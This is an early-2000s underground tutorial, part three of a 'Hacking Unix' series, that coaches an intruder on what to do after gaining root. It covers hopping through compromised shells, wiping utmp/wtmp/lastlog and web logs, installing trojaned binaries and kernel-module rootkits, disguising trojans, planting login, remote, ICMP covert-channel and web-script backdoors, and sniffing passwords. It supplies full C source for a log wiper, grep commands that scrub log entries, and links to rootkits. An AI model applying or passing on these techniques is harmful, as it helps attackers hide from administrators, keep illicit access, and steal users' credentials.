- HACKING UNIX -
PART THREE:
AFTER THE BREAK-IN
----------------------
Edit started: 01-18-02 (MM-DD-YY)
Edit finished: 02-20-02 (MM-DD-YY)
By: XT - [DuHo]
&** This is a multi-part tutorial,
&** please check our website for other
&** parts:
&** http://duho.cjb.net
&
& Make sure you have read PART ONE and PART TWO before proceeding
&
&
&
******
INDEX:
0. - Forword
1. - Introduction
2. - Hiding your source location
2.1 Hopping the internet
3. - Wiping the logs
3.1 UTMP
3.2 WTMP
3.3 LASTLOG
3.4 Using logwipers
3.5 Other logs
3.6 Wiping the plaintext logs
4. - Installing rootkits
4.1 Trojaned binaries
4.2 Kernel Modules
5. - Installing backdoors
5.1 Basic local backdoors
5.2 Basic remote backdoors
5.3 Trojaned services
5.4 Advanced Backdooring
5.4.1 Covert channels
5.4.2 WebApplication backdoors
5.4.3 Others
6. - Spy!
6.1 Sniffers
6.2 Other stuff
7. - Final words
****************************************************************
0. Forword
This is the third part of the HACKING UNIX series already.
To try out stuff discussed in this tutor, try it out on your own system
and mail me your IP address ;^}.
I have written some code specially for this tutorial. But note that you
do not have to understand C programming to read this guide! Also, don't
over-estimate my programming skills, I'm still learning... However, feel
free to use my source code in your personal programs if you find it
usefull.
********
In no way am I nor any member of DuHo responsible for criminal activity
or damages caused by (ab)using this information.
********
1. Introduction
You have been up all sunday night, hacking this computer. Your wrists
hurt (you probably have some kind of Repetitive Strain Injuri). But you
won't give up, yet you hit some more keys on the keyboard. You hear your
harddisk copying another program file into memory, the LEDs on your modem
light up. You don't know what this program does exactly... all you know
it is somehow attacking your victim. While you're waiting, you light up
another sigarrette. At THAT moment your monitor prints a hopefull
message:
sh# _
You get this weird feeling in your stomach. It feels great, but at the
same time you're scared! You remember you read that things get logged,
and that hackers' remove their traces and make sure they can get back in.
But HOW?????
Don't worry kid, just follow me.
2. Hiding your source location
Okay, say you really got into that system, and you forgot to remove a few
(or all ;^)) traces of your visit. If the sysadmin finds you in the logs,
or through regular programs... you are nailed. Your inet address will
probably show up, and you'll be busted.
{
Though not many sysadmins check logs all day, believe me.
But, you got to be paranoid, and *atleast* make sure there is no
chance of detection through regular means.
}
But because you cannot always be sure you can manipulate logs (e.g. when
they use a seperated logging server) and they might have some additional
security tools that you aren't aware of, you got to make it really hard
for them to actually trace you back to your real home.
This can be done in various methods; wingates, dialups from tapped
phone-lines, internet cafes or connections from other shells you hacked.
2.1 Hopping the Internet
Connecting through hacked shells is like hopping through various hosts on
the net before connecting to the victim.
{
Warning: Even though your real source is hard to trace, remember
it's not the same as 'untracable', so do a good job at removing
your traces everytime: stay paranoid!
}
You need your toolbox on these shells you have access to, so you can
attack from there. For example:
------------ sample ------------
bash# ./backdoor-client owned.box.net 54232_
Password: t4Ab0$-aa
Have a nice time!
sh# cd '.. '_
sh# ls_
wu260.c clear.tgz
nmap.tgz rootkit.tgz
nc.tgz bsd-lkm.tgz
libnet.tgz linux-lkm.tgz
pwipe.c
sh# _
------------ ~etcetera ------------
If you have the tools you need on an owned box, you can do all the work
from there.
{
Note: It's best to have your complete toolbox (exploits etc.) on
the box you are about to use to attack from *before* you attack
another system because this saves lots of time uploading stuff
you gonna need.
}
3. Wiping the logs
Most machines you access and play with log many things. If you don't wipe
these traces, the admin will understand the system might be hacked and may
investigate further. The admin might be paranoid and reinstall the box
more secure so you lose access, or even the admin might do anything he
can to trace you back, including a call to the FBI!
If you are a little bit smart, you will remove traces you left
immediately after you got root and you install backdoors that bypass
logging for future access.
What NOT to do: Don't *delete* logfiles, most admins will find out.
You should also *only* remove the entriess that record *your* activities
on the system.
3.1 How to find them
Most *nix systems have a file called /etc/syslog.conf. Read it, it looks
something like this:
----------
auth,authpriv.* -/var/log/auth.log
*.*;auth,authpriv.none -/var/log/sys.log
daemon.* -/var/log/daemon.log
kern.* -/var/log/kern.log
mail.* -/var/log/mail.log
user.* -/var/log/user.log
*.emerg *
----------
Here you find the logs that are kept by syslog. That is; processes
that use the syslog daemon to log events.
{
Please note that I'm saying that this goes up for the processes
that log through syslog daemon *ONLY*
}
They might also log themselves without using syslog, e.g. in case
syslogs' file format doesn't work for them.
For example, HTTP requests on Apache servers don't get logged through
syslog. And when you accessed the system through a CGI bug, these traces
are not removed when you only cleaned syslogs' logs.
Therefor you remove entry's from access_log like it's done with this
quick&dirty command:
----------
# grep -v '' /path/to/access_log > a && mv a /path/to/access_log
----------
or you could use my plaintext logwiper found in chapter 3.8.
But, there are a few special logfiles, and these are (e)special(ly)
dangerous ;^) (PHEAR!); utmp, wtmp and lastlog... and because of that I
have given each of them a seperate paragraph.
3.2 UTMP
You can see yourself in utmp, using:
----------
# who
root tty1 Jan 25 19:30
root tty2 Jan 25 19:31
root tty3 Jan 25 20:26
#
----------
We *need* to use a command like 'who' to extract output from the utmp
file. That is; it's not a plaintext file, it's binary and you cannot edit
it with your plaintext editor (PHEAR MORE!).
You need a special logwiper for that one, and we're going to use my
favorite logwiper for this job because I'm the one that's writing and
you're not.
Let me introduce; 'clear', written by van Hauser [thc].
Clear will be utilized in paragraph 3.5, but first a little more
background on the UTMP file, why it exists.
utmp contains the currently active (logged-in) users. Some programs use
this file to lookup these users, and find more info about them.
Some programs that depend on the utmp file are 'who', 'w' and they are
used frequently.
'w' gives long output; like the source IP address, user idle time, cpu
usage, what program he is currently running... etc.
3.3 WTMP
wtmp keeps all logins and logouts, in almost the same fileformat as utmp.
The command 'last' uses the wtmp file to see which user logged in when,
which tty he used, and from where he was connected
It looks like this:
----------
# last
root tty2 Thu Jan 31 09:09 still logged in
root tty1 Thu Jan 31 08:49 still logged in
runlevel ~ 2.4.16 Thu Jan 31 08:49
reboot ~ 2.4.16 Thu Jan 31 08:49
shutdown ~~ 2.4.16 Thu Jan 31 08:32 - crash (00:16)
runlevel ~ 2.4.16 Thu Jan 31 08:32
root tty1 Thu Jan 31 08:32 - 08:32 (00:00)
root tty1 Wed Jan 30 09:56 - 10:16 (00:19)
~etc.
wtmp begins Fri Nov 23 21:00:16 2001
# _
----------
The difference between utmp and wtmp file format is that wtmp includes
the '~' and '~~' which indicate shutdown or reboot respectively.
3.4 LASTLOG
'lastlog' contains records containing information about the last time
users logged in. A sysadmin might use this command to see for which users
shell access can be safely disabled.
----------
# lastlog_
Username Port From Latest
root tty2 Thu Jan 31 09:09:12 +0100 2002
bin **Never logged in**
daemon **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
nobody **Never logged in**
named **Never logged in**
l.torvalds pts/3 Sun Jan 6 21:48:35 +0100 2002
b.gates **Never logged in**
a.cox pts/5 Sat Jan 2 09:05:01 +0100 2002
r.stallman pts/1 Tue Dec 17 14:52:43 +0100 2001
# _
----------
All this information is extracted from the lastlog file.
3.5 Using logwipers
Okay, it's obvious that you need to remove the traces from the utmp, wtmp,
lastlog, utmpx, wtmpx etc. logfiles that may exist on *nix systems.
There are log-wiper tools available like cloak, zap and clear.
We will use clear for the job, because it is hard to detect a logfile was
manipulated when it is used.
So download clear13.tgz, it is here:
http://www.thehackerschoice.com/releases/thc-uht1.tgz.
This package contains clear13.tgz among other quite good unix hacking
tools.
Clear 1.3 consists of two programs, one for removing only the last entry
of the user and one for removing all appearances of the user. Set the
right path to wtmp, utmp, lastlog, wtmpx, utmpx or those that exist by
editing the #define's in the sources.
Using /etc/syslog.conf you can probably find out where they are.
3.6 Other logs
If you have read syslog.conf carefully, you noticed that there are more
logs than wtmp, utmp etc. These other logfiles are most likely plain
text, and their records seperated by newlines.
They also have to be manipulated, as they may also contain traces of
your activity.
You also have to remove traces from webserver logs, ftpd xfer logs,
sendmail logs etc, etc.
{
Warning (once again): *NOT ALL LOGS ARE MAINTAINED BY SYSLOGD*
So find them!
}
3.7 Wiping the plaintext logs
I've written a plain-text logwiper, because I felt like it.
It works pretty much like:
# grep -v > /tmp/a ; mv /tmp/a ; rm -f /tmp/a
The might be your ip-address, in that case... all
entries containing your logged ip-address are removed.
My tool works like this:
-------------------
Compile:
# gcc -o pwipe pwipe.c
Syntax:
# ./pwipe
e.g.:
# ./pwipe '10.0.0.1' /var/log/httpd/access_log
-------------------
It removes the lines from which contain (Yeah I know
it's simple).
That's all.
--- start-of pwipe.c ---
/*
* Plaintext Log Wipe v1
* 02-08-2002 XT [DuHo] [MM-DD-YYYY]
*
* Removes lines containing from .
* Useful for removing IP-addresses from logfiles for example
*
* Usage:
* gcc -o pwipe pwipe.c
* ./pwipe
*
* ex.
* # ./pwipe '192.168.1.231' /usr/adm/messages
*
* I, nor DUHO is responsible for any damage you might bring to a system
* using this tool!
*
*/
#include
#include
#include
int main (int argc, char *argv[])
{
FILE *fp;
long fsize;
long i;
char *src;
char *dest;
char version[] = "Plaintext Log Wiper v1.0 by XT [DuHo]";
printf("%s\n\n", version);
if (argc<3)
{
printf("Syntax: %s \n", argv[0]);
exit(0);
}
// open file read-only
if ((fp = fopen(argv[2], "r"))==NULL)
{
fprintf(stderr, "Unable to open %s\n", argv[2]);
exit(1);
}
// Is there any more direct way to determine filesize?
fseek(fp, 0L, SEEK_END);
if ((fsize = ftell(fp))<1)
{
fprintf(stderr, "%s is empty or an error occurred\n", argv[2]);
exit(1);
} else
rewind(fp);
// allocate enough memory
src = (char *) malloc((size_t)fsize);
dest = (char *) malloc((size_t)fsize);
// select lines to remove
for (i=0;(fgets(src, fsize, fp))!=NULL;)
{
if ((strstr(src, argv[1]))==NULL)
{
strncat(dest, src, (size_t)fsize);
} else
{
printf("Selected: %s", src);
++i;
}
}
// reopen file write-only
if ((fp = freopen(argv[2], "w", fp))==NULL)
{
fprintf(stderr, "\nUnable to open file %s for writing\n", argv[2]);
exit(1);
}
// write new logfile to disk
if (fputs(dest, fp)<0)
{
fprintf(stderr, "\nUnable to overwrite file %s\n", argv[2]);
exit(1);
} else if (i>0)
printf("\nSuccesfully removed %d %s!\n", i, i==1 ? "log-entry" : "log-entries");
else
printf("\"%s\" not found in %s\n", argv[1], argv[2]);
fclose(fp);
exit(0);
}
--- eof ---
4. Installing rootkits
Rootkits are used to circumvent logging, hide processes, create
backdoors, hide files and directories.
When a rootkit system is installed correctly, the attacker is completely
invisible for sysadmins through regular tools.
4.2 Trojaned binaries
The most common kind of rootkit trojans binaries. Original programs like
ls, find, ifconfig, ps, top, netstat, etcetera are replaced with trojaned
ones. These trojaned versions hide specific information.
In case of 'ls' and 'find' it will hide certain files or directories
{
which is used for example to hide the directory containing the
attackers' toolbox and gathered information (login credentials
etc.)
}
In case of ifconfig it will hide the PROMISC flag for a network interface
in case a sniffer runs.*(i'll get back on this)
In case of ps and top it will hide processes, like password crackers,
network sniffers, attackers' login process.
In case of netstat it will hide connections and backdoor-servers.
When you have installed the rootkit, check if the creation and
modification date is the same as the original, so it will be harder to
see it's not a legitimate binary. You can also use a file resizer to
change the size of the trojaned binary to that of the original.
Allright, the trojaned binary is obviously bigger than the
original, but you can strip symbols from the trojaned one using
'strip', and then padd it with garbage till it is exactly the same size
as the original for example, or use your assembly skills to shrink it.
But then still you can't do much against programs like tripwire.
{
Programs like tripwire use cryptographic hash signatures that can
verify if a binary is legitate.
}
4.3 Kernel modules
An alternative to trojaned binaries are loadable kernel modules. Kernel
modules work like device drivers at kernel level, and are loaded during
runtime. They can intercept system calls and through this method hide
information, which is interesting to us ofcourse.
Kernel modules are harder to detect than trojaned binaries because they
don't modify existing binaries. But they can be detected by specific
tools, but as far as i know, they only scan for *known* LKM rootkits (so
code your own :)).
More information on kernel modules (and rootkits):
http://www.w00w00.org/files/articles/lkmhack.txt // Linux LKM Tech
http://www.thehackerschoice.com/papers/LKM_HACKING.html // Linux LKMs; nearly complete reference
http://www.thehackerschoice.com/papers/bsdkern.html // BSD LKMs; attacking FreeBSD
http://www.thehackerschoice.com/papers/slkm-1.0.html // Solaris LKMs; attacking solaris
http://phrack.org/show.php?p=58&a=6 // Advances in linux kernel hacking
Real-life modules:
http://www.neuralcollapse.f2s.com/files/Synapsys-lkm.tar.gz // linux lkm
http://www.pkcrew.org/tools/Rial.c // linux lkm
http://packetstormsecurity.org/groups/thc/slkm-1.0.tar.gz // solaris lkm
http://www.team-teso.net/releases/adore-0.42.tgz // my favorite linux LKM
5. Installing backdoors
So we have wiped the logs, we have hidden our presence and uploaded the
toolbox. We still have to make sure we can get back in. That is; we
need to place one or more backdoors into the system.
Some more common backdooring techniques will be discussed in this
chapter.
{
"Some more common" means that not even half of the techniques
are introduced, this is because I think the number of backdooring
techniques are only limited to your imagination. When you have
full-access to a system, almost anything becomes possible.
}
Local, and remote backdoors are explained.
{
Remote backdoors are individual programs and can be directly
interacted with remotely.
Local backdoors use existing services which are backdoored.
}
5.2 Basic Local backdoors
You could simply trojan the login or telnet binary to give you a
rootshell when you type in some magic string.
e.g.:
-------------------
# telnet victim.tv
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
login: THE_MASTER
Telnetd: I'm at your service sir!
victim#
-------------------
Obviously, this extra feature into telnet is not programmed to log your
visit, in fact it might also automatically instruct some local LKM
rootkit to hide your process and more.
And ofcourse any service with root privilege is a subject for being
trojaned this way.
5.3 Basic remote backdoors
You may have worked with windows backdoors; netbus, bo or that modified
netcat-nt backdoor which pipes a cmd shell for use on NT boxes.
For a unix environment you could write backdoor that forwards shell
commands to the shell, and returns the results through TCP or UDP
connections.
The basic remote backdoors are the easiest and most effective way to
backdoor a system, but at the same time not very stealthy. A simple
portscan reveils the open port, and might be easily recognized by an
admin as a non-service. Ofcourse your backdoor could listen on a port
that is less likely to raise suspicions (like not using port 1337 or
31337), or use other techniques to let the admin think it is a legitimate
and required service (emulating a well-known service or something). Or
you could put it on a port, where you would normally find a well-known
service.
But despite all this, it's not a very elegant method.
5.4 Advanced backdooring
In this paragraph I introduce some more advanced techniques used to get
back in to a system.
5.1 Covert channels
Communication is done through packets. They contain the actual data to be
transferred along with a header with the details about the content of the
packet. The header contains standard fields and some optional fields with
information. Some of these fields can contain random data without the
risk of creating an illegal packet. As you may have guessed, a backdoor
could communicate with a backdoor client through the use of these covert
channels.
One of the protocols that can be targeted is ICMP, through the use of the
data section (where normally timing information is put) of ICMP ECHO
REQUEST and ICMP ECHO REPLY packets (the kind that PING uses).
Details about using ICMP for tunneling is detailed in whitepapers
released in phrack:
http://www.phrack.org/phrack/49/P49-06
http://www.phrack.org/phrack/51/P51-06
It also contains source code of a backdoor using this kind of tunneling.
The use of such techniques prevents your backdoor from being detected
using regular portscanning techniques, it also won't show up in
netstat.
A disadvantage is that this kind of tunneling is not very reliable for
communication.
5.4.2 Webapplication backdoors
I could imagine you writing a simple PHP or CGI script that accepts
commands, it could execute these through a SUID shell (a /bin/sh with
root privilege). This way you can bypass firewalls that may exist without
having to change ruleset. It is also reliable, but may also be discovered
by a good sysadmin.
5.4.3 Others
I can come up with other types of backdoors. Like a backdoor that doesn't
listen to incoming connections, but one that connects to your server...
(which might help when bypassing firewalls which filter only incoming
connections). You could write an apache module that is a backdoor. You
could even put a security problem in a service application so you can get
back in for example, just use your imagination!
6. Spy!
Spy on the users! Any information from people using the system might help
you attacking other systems. From one system you can get into other
systems on that network but also on others. Maybe the sysadmin uses the
same password everywhere, so check where he connects to and have a look
there ;^).
6.1 Sniffers
A sniffer is a program that puts a network device into promiscuous mode,
which means that it tells the network device to forward any traffic that
physically passes the wire. The sniffer then translates traffic to more
human-friendly format. Some sniffers only sniff packet headers (used for
network debugging), and some also grab packet contents, this includes
passwords etc. When people on the system use telnet, ftp, smtp, pop etc.
the information is plaintext *not ciphered!* and you gather lots of new
logins/passwords which can be used to crack other systems.
In some other part of 'Hacking Unix' I will tell you more about this.
6.2 Other stuff
Just walk through the target system and you will discover much more
information. Sometimes you find plaintext shell script that contain
passwords, you can check history files like (.bash_history) which might
reveil interesting information, databases with plaintext passwords...
anything!
7. Final words (for this part...)
This part was more an introduction than a guide. It's impossible to
explain all about the methods used in the underground. It's too much, and
you would get bored.
I hope you atleast understand the importance of wiping traces, and the
part of hiding your source location in case they try to trace you back
home.
Please take a look for new 'Hacking Unix' parts during the next couple of
months.
XT [DuHo] 2001
Visit http://duho.cjb.net/ for updates or new parts of this tutorial every
now and then.
-EOF-
Size: 24576 bytes
chars: 23085
Words: 3493
Lines: 687